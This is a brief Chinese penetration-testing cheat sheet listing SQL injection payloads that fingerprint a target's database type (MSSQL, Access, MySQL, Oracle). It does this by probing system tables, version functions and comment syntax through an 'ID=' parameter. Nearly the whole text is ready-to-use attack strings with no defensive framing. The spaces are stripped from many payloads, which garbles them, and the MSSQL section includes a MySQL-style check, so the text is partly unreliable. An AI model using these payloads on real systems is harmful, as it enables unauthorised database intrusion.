【渗透测试】-SQL注入之注入点判断数据库类型

0x01:MSSQL

ID=1and(selectcount(*)fromsysobjects)>0返回正常

ID=1and(selectcount(*)frommsysobjects)>0返回异常

ID=1andleft(version(),1)=5%23//红色字体也可能是4

ID=1andexists(selectidfromsysobjects)

ID=1andlength(user)>0

ID=1CHAR(97) +CHAR(110) +CHAR(100) +CHAR(32) +CHAR(49) +CHAR(61) +CHAR(49)

0x02:ACCESS

ID=1and(selectcount(*)fromsysobjects)>0返回异常

ID=1and(selectcount(*)frommsysobjects)>0返回异常

0x03:MYSQL

id=2andversion()>0返回正常

id=2andlength(user())>0

id=2CHAR(97,110,100,32,49,61,49)

0x04:ORACLE

ID=1and'1'||'1'='11

ID=1and0<>(selectcount(*)fromdual)

ID=1CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)

0x05:其他方法

“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:

“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:

“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。

你可能感兴趣的:(【渗透测试】-SQL注入之注入点判断数据库类型)